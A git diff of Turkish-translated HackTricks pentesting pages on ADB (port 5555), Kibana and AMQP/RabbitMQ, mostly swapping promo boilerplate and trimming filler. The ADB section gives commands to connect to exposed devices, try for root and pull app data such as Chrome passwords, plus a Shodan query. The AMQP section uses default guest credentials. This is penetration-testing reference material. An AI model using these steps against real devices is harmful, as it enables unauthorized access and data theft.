|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,34 @@
|
|||
# 5555 - Android Debug Köprüsü
|
||||
# 5555 - Android Debug Bridge
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
[Belgelerden](https://developer.android.com/studio/command-line/adb) alınan bilgilere göre:
|
||||
From [the docs](https://developer.android.com/studio/command-line/adb):
|
||||
|
||||
**Android Debug Köprüsü** (adb), bir cihazla iletişim kurmanızı sağlayan çok yönlü bir komut satırı aracıdır. adb komutu, **uygulamaların yüklenmesi ve hata ayıklanması** gibi çeşitli cihaz eylemlerini kolaylaştırır ve bir cihazda çeşitli komutları çalıştırmak için kullanabileceğiniz bir **Unix kabuğuna erişim sağlar**.
|
||||
**Android Debug Bridge** (adb), bir cihazla iletişim kurmanıza olanak tanıyan çok yönlü bir komut satırı aracıdır. adb komutu, **uygulamaları yükleme ve hata ayıklama** gibi çeşitli cihaz eylemlerini kolaylaştırır ve bir cihazda çeşitli komutlar çalıştırmak için kullanabileceğiniz **Unix kabuğuna erişim** sağlar.
|
||||
|
||||
**Varsayılan port**: 5555.
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
||||
```
|
||||
## Bağlan
|
||||
## Connect
|
||||
|
||||
Eğer bir cihazın bir bağlantı noktasında çalışan ADB hizmetini bulursanız ve buna bağlanabilirseniz, **sistem içinde bir kabuk alabilirsiniz:**
|
||||
Eğer bir cihazın bir portunda ADB hizmetini bulur ve ona bağlanabilirseniz, **sistemin içinde bir shell alabilirsiniz:**
|
||||
```bash
|
||||
adb connect 10.10.10.10
|
||||
adb root # Try to escalate to root
|
||||
|
@ -39,7 +40,7 @@ Daha fazla ADB komutu için aşağıdaki sayfayı kontrol edin:
|
|||
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Uygulama verilerini dökümleme
|
||||
### Uygulama verilerini dökme
|
||||
|
||||
Bir uygulamanın verilerini tamamen indirmek için şunları yapabilirsiniz:
|
||||
```bash
|
||||
|
@ -48,22 +49,23 @@ chmod 777 /data/data/com.package
|
|||
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
|
||||
adb pull "/sdcard/com.package"
|
||||
```
|
||||
Bu hileyi kullanarak **chrome şifreleri gibi hassas bilgileri alabilirsiniz**. Bu konuyla ilgili daha fazla bilgi için [**buradaki**](https://github.com/carlospolop/hacktricks/issues/274) bilgilere ve referanslara bakabilirsiniz.
|
||||
Bu hileyi **chrome şifreleri gibi hassas bilgileri almak için** kullanabilirsiniz. Bununla ilgili daha fazla bilgi için sağlanan referanslardaki bilgileri kontrol edin [**burada**](https://github.com/carlospolop/hacktricks/issues/274).
|
||||
|
||||
## Shodan
|
||||
|
||||
* `android debug bridge`
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking hilelerini paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,53 +1,55 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Temel Bilgiler
|
||||
|
||||
Kibana, genellikle **5601** numaralı bağlantı noktasında çalışan Elasticsearch içindeki verileri arama ve görselleştirme yeteneğiyle tanınır. Elastic Stack kümesinin izleme, yönetim ve güvenlik işlevleri için arayüz olarak hizmet verir.
|
||||
Kibana, genellikle **5601** portunda çalışan Elasticsearch içinde veri arama ve görselleştirme yeteneği ile bilinir. Elastic Stack kümesinin izleme, yönetim ve güvenlik işlevleri için arayüz olarak hizmet eder.
|
||||
|
||||
## Kimlik Doğrulama Anlayışı
|
||||
## Kimlik Doğrulamanın Anlaşılması
|
||||
|
||||
Kibana'da kimlik doğrulama süreci, Elasticsearch'te kullanılan **kimlik bilgileriyle doğrudan ilişkilidir**. Elasticsearch kimlik doğrulaması devre dışı bırakılmışsa, Kibana herhangi bir kimlik bilgisi olmadan erişilebilir. Öte yandan, Elasticsearch kimlik bilgileriyle güvence altına alındıysa, Kibana'ya erişmek için aynı kimlik bilgileri gereklidir ve her iki platformda da aynı kullanıcı izinleri korunur. Kimlik bilgileri genellikle **/etc/kibana/kibana.yml** dosyasında bulunabilir. Bu kimlik bilgileri **kibana_system** kullanıcısına ait değilse, kibana_system kullanıcısının erişimi izleme API'larına ve .kibana dizinine sınırlı olduğundan, daha geniş erişim hakları sunabilir.
|
||||
Kibana'daki kimlik doğrulama süreci, **Elasticsearch'te kullanılan kimlik bilgileriyle** doğrudan bağlantılıdır. Elasticsearch'te kimlik doğrulama devre dışı bırakıldığında, Kibana'ya herhangi bir kimlik bilgisi olmadan erişilebilir. Tersine, Elasticsearch kimlik bilgileri ile güvence altına alındığında, Kibana'ya erişim için aynı kimlik bilgileri gereklidir ve her iki platformda da kullanıcı izinleri aynı kalır. Kimlik bilgileri **/etc/kibana/kibana.yml** dosyasında bulunabilir. Bu kimlik bilgileri **kibana_system** kullanıcısına ait değilse, daha geniş erişim hakları sunabilir, çünkü kibana_system kullanıcısının erişimi yalnızca izleme API'leri ve .kibana dizini ile sınırlıdır.
|
||||
|
||||
## Erişim Sonrası Yapılacak İşlemler
|
||||
## Erişim Sonrası Eylemler
|
||||
|
||||
Kibana'ya erişim sağlandıktan sonra, aşağıdaki işlemler önerilir:
|
||||
Kibana'ya erişim sağlandığında, birkaç eylem önerilir:
|
||||
|
||||
- Elasticsearch'ten veri keşfetmek öncelikli olmalıdır.
|
||||
- Kullanıcıları yönetme yeteneği, Stack Management -> Users/Roles/API Keys altında kullanıcıların, rollerin veya API anahtarlarının düzenlenmesi, silinmesi veya oluşturulmasıyla sağlanır.
|
||||
- Kibana'nın yüklü olduğu sürümü, örneğin 6.6.0'dan önceki sürümlerde tespit edilen RCE zafiyeti gibi bilinen güvenlik açıkları için kontrol etmek önemlidir ([Daha Fazla Bilgi](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
|
||||
- Elasticsearch'ten veri keşfetmek öncelik olmalıdır.
|
||||
- Kullanıcıları yönetme yeteneği, yeni kullanıcılar, roller veya API anahtarları oluşturma, düzenleme veya silme işlemleri, Stack Management -> Users/Roles/API Keys altında bulunur.
|
||||
- Kibana'nın yüklü sürümünü, 6.6.0'dan önceki sürümlerde tespit edilen RCE açığı gibi bilinen güvenlik açıkları için kontrol etmek önemlidir ([Daha Fazla Bilgi](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
|
||||
|
||||
## SSL/TLS Düşünceleri
|
||||
## SSL/TLS Dikkatleri
|
||||
|
||||
SSL/TLS etkin olmadığı durumlarda, hassas bilgilerin sızma potansiyeli dikkatlice değerlendirilmelidir.
|
||||
SSL/TLS etkinleştirilmediğinde, hassas bilgilerin sızma potansiyeli dikkatlice değerlendirilmelidir.
|
||||
|
||||
## Referanslar
|
||||
|
||||
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,80 +1,36 @@
|
|||
# 5671,5672 - AMQP Pentesting
|
||||
# 5671,5672 - Pentesting AMQP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
[cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html)'den alınan bilgilere göre:
|
||||
From [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
|
||||
|
||||
> **RabbitMQ**, bir _mesaj kuyruğu yazılımı_ olarak da bilinen bir _mesaj aracısı_ veya _kuyruk yöneticisi_ dir. Basitçe söylemek gerekirse; uygulamaların bir mesajı veya mesajları aktarmak için bağlandığı kuyrukların tanımlandığı bir yazılımdır.\
|
||||
> Bir **mesaj her türlü bilgiyi içerebilir**. Örneğin, başka bir uygulamada (hatta başka bir sunucuda bile olabilir) başlaması gereken bir süreç veya görev hakkında bilgi içerebilir veya sadece basit bir metin mesajı olabilir. Kuyruk yöneticisi yazılımı, mesajları bir alıcı uygulama bağlandığında ve kuyruktan bir mesaj alındığında depolar. Alıcı uygulama daha sonra mesajı işler.\
|
||||
Tanımından .
|
||||
> **RabbitMQ**, _mesaj aracısı_ veya _kuyruk yöneticisi_ olarak da bilinen bir **mesaj kuyruğu yazılımıdır**. Kısaca; mesajların iletilmesi için uygulamaların bağlandığı, kuyrukların tanımlandığı bir yazılımdır.\
|
||||
> Bir **mesaj her türlü bilgiyi içerebilir**. Örneğin, başka bir uygulamada (hatta başka bir sunucuda) başlaması gereken bir işlem veya görev hakkında bilgi içerebilir veya sadece basit bir metin mesajı olabilir. Kuyruk yöneticisi yazılımı, bir alıcı uygulama bağlanıp kuyruktan bir mesaj aldığında kadar mesajları saklar. Alıcı uygulama daha sonra mesajı işler.\
|
||||
Tanım .
|
||||
|
||||
**Varsayılan port**: 5672,5671
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5672/tcp open amqp RabbitMQ 3.1.5 (0-9)
|
||||
```
|
||||
AMQP (Advanced Message Queuing Protocol) hedef sistemdeki mesaj kuyruklarını yönetmek için kullanılan bir protokoldür. AMQP, mesajların güvenli ve güvenilir bir şekilde iletilmesini sağlar. AMQP hedef sistemdeki mesaj kuyruklarını keşfetmek için çeşitli yöntemler kullanabiliriz.
|
||||
## Enumeration
|
||||
|
||||
#### Port Taraması
|
||||
|
||||
AMQP genellikle 5671 ve 5672 numaralı portlarda çalışır. Bu nedenle, hedef sistemde bu portların açık olup olmadığını kontrol etmek önemlidir. Port taraması yapmak için çeşitli araçlar kullanabiliriz, örneğin:
|
||||
|
||||
- Nmap: `nmap -p 5671,5672 <hedef_ip>`
|
||||
- Masscan: `masscan -p5671,5672 <hedef_ip>`
|
||||
|
||||
#### Banner Grabbing
|
||||
|
||||
AMQP sunucusunun banner bilgilerini elde etmek, hedef sistem hakkında daha fazla bilgi edinmemizi sağlar. Banner bilgileri, sunucunun sürümü, yapılandırma ve diğer önemli bilgileri içerebilir. Banner bilgilerini elde etmek için çeşitli araçlar kullanabiliriz, örneğin:
|
||||
|
||||
- Telnet: `telnet <hedef_ip> 5672`
|
||||
- Netcat: `nc <hedef_ip> 5672`
|
||||
|
||||
#### AMQP Keşfi
|
||||
|
||||
AMQP sunucusunda mevcut olan mesaj kuyruklarını keşfetmek için çeşitli yöntemler kullanabiliriz. Bu yöntemler arasında aşağıdakiler bulunur:
|
||||
|
||||
- AMQP komut satırı araçları: AMQP sunucusuna bağlanmak ve mevcut kuyrukları listelemek için çeşitli komut satırı araçları mevcuttur. Örneğin, RabbitMQ için `rabbitmqadmin` aracını kullanabiliriz.
|
||||
- AMQP istemci kütüphaneleri: AMQP istemci kütüphaneleri, hedef sistemdeki mesaj kuyruklarını keşfetmek için kullanılabilir. Örneğin, Python'da `pika` kütüphanesini kullanabiliriz.
|
||||
|
||||
### Otomatik
|
||||
|
||||
AMQP hedef sistemdeki mesaj kuyruklarını otomatik olarak keşfetmek için çeşitli araçlar ve yöntemler mevcuttur. Bu araçlar ve yöntemler, hedef sistemdeki AMQP sunucusuna bağlanarak mevcut kuyrukları listeler.
|
||||
|
||||
#### AMQPScan
|
||||
|
||||
AMQPScan, hedef sistemdeki AMQP sunucusuna bağlanarak mevcut kuyrukları listeler. AMQPScan, Python tabanlı bir araçtır ve kullanımı oldukça basittir. Aşağıdaki komutu kullanarak AMQPScan aracını çalıştırabilirsiniz:
|
||||
|
||||
```
|
||||
python amqp_scan.py <hedef_ip>
|
||||
```
|
||||
|
||||
#### RabbitMQ Management API
|
||||
|
||||
RabbitMQ Management API, RabbitMQ sunucusuna HTTP üzerinden erişim sağlar ve mevcut kuyrukları listeler. API'ye erişmek için aşağıdaki URL'yi kullanabilirsiniz:
|
||||
|
||||
```
|
||||
http://<hedef_ip>:15672/api/queues
|
||||
```
|
||||
|
||||
Bu URL'ye GET isteği göndererek mevcut kuyrukları listeleyebilirsiniz. API, kullanıcı adı ve şifre gerektirebilir, bu nedenle kimlik doğrulama bilgilerini de sağlamanız gerekebilir.
|
||||
|
||||
#### Diğer Araçlar
|
||||
|
||||
Bunların yanı sıra, AMQP sunucusunda mevcut kuyrukları keşfetmek için diğer araçlar ve yöntemler de mevcuttur. Bu araçlar ve yöntemler, hedef sistemdeki AMQP sunucusuna bağlanarak mevcut kuyrukları listeler.
|
||||
### Manual
|
||||
```python
|
||||
import amqp
|
||||
#By default it uses default credentials "guest":"guest"
|
||||
|
@ -84,16 +40,6 @@ for k, v in conn.server_properties.items():
|
|||
print(k, v)
|
||||
```
|
||||
### Otomatik
|
||||
|
||||
AMQP (Advanced Message Queuing Protocol), mesaj tabanlı bir iletişim protokolüdür. AMQP, mesajların güvenli ve güvenilir bir şekilde iletilmesini sağlar. Bu protokol, birçok farklı uygulama arasında mesaj alışverişi yapmak için kullanılır.
|
||||
|
||||
AMQP, birçok farklı özelliği destekler. Bu özellikler arasında mesajların güvenli bir şekilde şifrelenmesi, mesajların güvenilir bir şekilde iletilmesi, mesajların yönlendirilmesi ve mesajların sıralı bir şekilde teslim edilmesi bulunur.
|
||||
|
||||
AMQP, birçok farklı uygulama tarafından kullanılan bir protokoldür. Bu uygulamalar arasında mesaj kuyruklama sistemleri, dağıtık sistemler ve mikro hizmetler yer alır.
|
||||
|
||||
AMQP, birçok farklı güvenlik zafiyeti içerebilir. Bu zafiyetler arasında kimlik doğrulama eksiklikleri, yetkilendirme hataları ve mesajların şifrelenmemesi bulunur. Bu zafiyetler, bir saldırganın AMQP protokolünü kullanarak bir sistemdeki mesajları ele geçirmesine veya değiştirmesine olanak tanır.
|
||||
|
||||
AMQP protokolünü pentest etmek için birkaç farklı yöntem vardır. Bu yöntemler arasında güvenlik açıklarını tespit etmek, kimlik doğrulama ve yetkilendirme mekanizmalarını test etmek ve mesajları ele geçirmek veya değiştirmek yer alır. Bu yöntemler, bir saldırganın AMQP protokolünü kullanarak bir sistemdeki zayıf noktaları tespit etmesine ve istismar etmesine olanak tanır.
|
||||
```bash
|
||||
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info <IP>
|
||||
|
||||
|
@ -115,38 +61,39 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
### Brute Force
|
||||
|
||||
* [**AMQP Protokolü Brute Force**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
|
||||
* [**STOMP Protokolü Brute Force**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
|
||||
* [**AMQP Protokolü Brute-Force**](../generic-methodologies-and-resources/brute-force.md#amqp-activemq-rabbitmq-qpid-joram-and-solace)
|
||||
* [**STOMP Protokolü Brute-Force**](../generic-methodologies-and-resources/brute-force.md#stomp-activemq-rabbitmq-hornetq-and-openmq)
|
||||
|
||||
## Diğer RabbitMQ portları
|
||||
|
||||
[https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) adresinde **rabbitmq'nun birkaç port** kullandığını bulabilirsiniz:
|
||||
[https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) adresinde **rabbitmq'nun birkaç port kullandığını** bulabilirsiniz:
|
||||
|
||||
* **1883, 8883**: ([MQTT istemcileri](http://mqtt.org) ve TLS ile MQTT istemcileri, [MQTT eklentisi](https://www.rabbitmq.com/mqtt.html) etkinleştirilmişse. [**MQTT'nin nasıl pentest edileceği hakkında daha fazla bilgi edinin**](1883-pentesting-mqtt-mosquitto.md).
|
||||
* **4369: epmd**, RabbitMQ düğümleri ve CLI araçları tarafından kullanılan bir eş keşif hizmeti. [**Bu hizmetin nasıl pentest edileceği hakkında daha fazla bilgi edinin**](4369-pentesting-erlang-port-mapper-daemon-epmd.md).
|
||||
* **5672, 5671**: AMQP 0-9-1 ve 1.0 istemcileri tarafından TLS olmadan ve TLS ile kullanılır
|
||||
* **15672**: [HTTP API](https://www.rabbitmq.com/management.html) istemcileri, [yönetim arayüzü](https://www.rabbitmq.com/management.html) ve [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html) (sadece [yönetim eklentisi](https://www.rabbitmq.com/management.html) etkinleştirilmişse). [**Bu hizmetin nasıl pentest edileceği hakkında daha fazla bilgi edinin**](15672-pentesting-rabbitmq-management.md).
|
||||
* 15674: STOMP-over-WebSockets istemcileri (sadece [Web STOMP eklentisi](https://www.rabbitmq.com/web-stomp.html) etkinleştirilmişse)
|
||||
* 15675: MQTT-over-WebSockets istemcileri (sadece [Web MQTT eklentisi](https://www.rabbitmq.com/web-mqtt.html) etkinleştirilmişse)
|
||||
* 15692: Prometheus metrikleri (sadece [Prometheus eklentisi](https://www.rabbitmq.com/prometheus.html) etkinleştirilmişse)
|
||||
* 25672: düğümler arası ve CLI araçları ile iletişim için kullanılır (Erlang dağıtım sunucusu portu) ve varsayılan olarak bir dinamik aralıktan (AMQP portu + 20000 olarak hesaplanan) tek bir porta tahsis edilir. Bu portlara dış bağlantılar gerçekten gerekli değilse (örneğin küme [federasyon](https://www.rabbitmq.com/federation.html) kullanıyorsa veya CLI araçları alt ağ dışındaki makinelerde kullanılıyorsa), bu portlar genel olarak açık olmamalıdır. Ayrıntılar için [ağ kılavuzuna](https://www.rabbitmq.com/networking.html) bakın. **Sadece 9 adet bu port internet üzerinde açıktır**.
|
||||
* 35672-35682: CLI araçları tarafından (Erlang dağıtım istemci portları) düğümlerle iletişim için kullanılır ve bir dinamik aralıktan tahsis edilir (sunucu dağıtım portu + 10000 ile sunucu dağıtım portu + 10010 arasında hesaplanır). Ayrıntılar için [ağ kılavuzuna](https://www.rabbitmq.com/networking.html) bakın.
|
||||
* 61613, 61614: TLS olmadan ve TLS ile [STOMP istemcileri](https://stomp.github.io/stomp-specification-1.2.html) (sadece [STOMP eklentisi](https://www.rabbitmq.com/stomp.html) etkinleştirilmişse). Bu porta sahip olan cihaz sayısı 10'dan azdır ve çoğunlukla DHT düğümleri için UDP kullanılır.
|
